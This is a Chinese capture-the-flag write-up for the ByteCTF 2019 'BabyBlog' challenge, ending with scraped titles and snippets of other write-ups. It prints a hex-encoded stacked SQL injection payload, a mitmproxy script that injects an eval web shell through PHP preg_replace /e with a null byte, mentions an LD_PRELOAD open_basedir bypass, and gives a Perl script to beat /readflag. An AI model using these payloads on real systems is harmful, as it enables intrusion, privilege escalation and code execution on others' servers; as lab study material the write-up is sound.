刷题记录:[ByteCTF 2019]BabyBlog

目录

  • 刷题记录:[ByteCTF 2019]BabyBlog
  • 知识点
    • 二次注入+堆叠注入
    • php 00截断
    • preg_replace/e参数RCE
    • 管道解题读flag

刷题记录:[ByteCTF 2019]BabyBlog

题目复现链接:https://buuoj.cn/challenges
参考链接:https://eustiar.com/archives/576
ByteCTF 2019 Writeup - 天枢

知识点

二次注入+堆叠注入

注入点在edit的title

';[email protected]=0x757064617465207573657273207365742069737669703D3120776865726520757365726E616D653D277465737427;prepare execsql from @a;execute execsql;#

把自己的账号改成vip

php 00截断

要求:php版本小于5.3.4
用户输入的url参数包含%00经过浏览器自动转码后截断后面字符

preg_replace/e参数RCE

$content = addslashes(preg_replace("/" . $_POST[‘find‘] . "/", $_POST[‘replace‘], $row[‘content‘]));

从天枢那学了一招用mitmproxy解决蚁剑链接问题

from mitmproxy import http                                                    

class add_request:                                                            

    def request(self, flow) -> None:
        flow.request.urlencoded_form['find'] = "/e\x00"
        flow.request.urlencoded_form['replace'] = "eval($_POST['a'])"
        flow.request.urlencoded_form['id'] = "1"
        flow.request.urlencoded_form['regex'] = "1"
        flow.request.cookies['PHPSESSID'] = "8192498e1b72a3004a2093fc26f10d28"

addons = [
    add_request()
]

然后用error_log的LD_PRELOAD绕过openbase_dir

管道解题读flag

你以为这样就完了吗,可是glzjin不是一般的男人,他把readflag魔改了
CTF 2019 Mywebsql Echohub WriteUp
我手上没ida,就懒得看了,抄个exp

use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
  or die "open3() failed $!";

my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

原文地址:https://www.cnblogs.com/20175211lyz/p/12255304.html

时间: 2024-09-29 11:15:52

刷题记录:[ByteCTF 2019]BabyBlog的相关文章

scoi刷题记录(2019/04/07)

scoi2005 繁忙的都市 扫雷 互不侵犯 scoi2006 zh_tree scoi2007 排列 scoi2009 最长距离 生日礼物 scoi2010 幸运数字 scoi2011 糖果 scoi2012 喵星球上的点名 原文地址:https://www.cnblogs.com/Achensy/p/10664044.html

刷题记录:[SUCTF 2019]EasySQL (欠)

目录 刷题记录:[SUCTF 2019]EasySQL 刷题记录:[SUCTF 2019]EasySQL 原文地址:https://www.cnblogs.com/20175211lyz/p/11450409.html

刷题记录:[SUCTF 2019]Pythonginx

目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录:[SUCTF 2019]Pythonginx 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 SUCTF wp SUCTF_2019_部分复现 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 https://bugs

刷题记录:[强网杯 2019]Upload

目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challenges 参考链接:2019 第三届强网杯 Web 部分 WriteUp + 复现环境 一.知识点 1.源码泄露 www.tar.gz 2.php反序列化 看起来文件很大,但是用phpstorm打开的话会发现默认打开的文件里有两个断点,其实是给的hint,指出了反序列化利用的地方.之后常规的反序列化

刷题记录:[De1CTF 2019]Giftbox &amp;&amp; Comment

目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 刷题记录:[De1CTF 2019]Giftbox && Comment 题目复现链接:https://buuoj.cn/challenges 参考链接:De1CTF Web WriteUp BUUCTF平台 web writeup 第三弹 一.知识点 1.sql注入 && t

刷题记录:[安洵杯 2019]easy_serialize_php

目录 刷题记录:[安洵杯 2019]easy_serialize_php 知识点 PHP反序列化 刷题记录:[安洵杯 2019]easy_serialize_php 题目复现链接:https://buuoj.cn/challenges 参考链接:第二届安洵杯2019部分writeup 知识点 PHP反序列化 payload为_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==&quo

刷题记录:[GWCTF 2019]我有一个数据库

目录 刷题记录:[GWCTF 2019]我有一个数据库 知识点 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞 刷题记录:[GWCTF 2019]我有一个数据库 题目复现链接:https://buuoj.cn/challenges 知识点 phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞 cve-2018-12613-PhpMyadmin后台文件包含 影响版本:4.8.0--4.8.1 payload:/phpmyadmin/?target=db

刷题记录:[RCTF 2019]Nextphp

目录 刷题记录:[RCTF 2019]Nextphp 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir php_exec 刷题记录:[RCTF 2019]Nextphp 题目复现链接:https://buuoj.cn/challenges 参考链接:RCTF 2019 Web Writeup 知识点 preload/FFI同时使用导致绕过disable_function/open_basedir 看文档https://wiki.php.ne

刷题记录:[EIS 2019]EzPOP

目录 刷题记录:[EIS 2019]EzPOP 知识点 编码写shell绕过 base64工作机制 绕过后缀名检查 刷题记录:[EIS 2019]EzPOP 题目复现链接:https://buuoj.cn/challenges 知识点 编码写shell绕过 $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_conte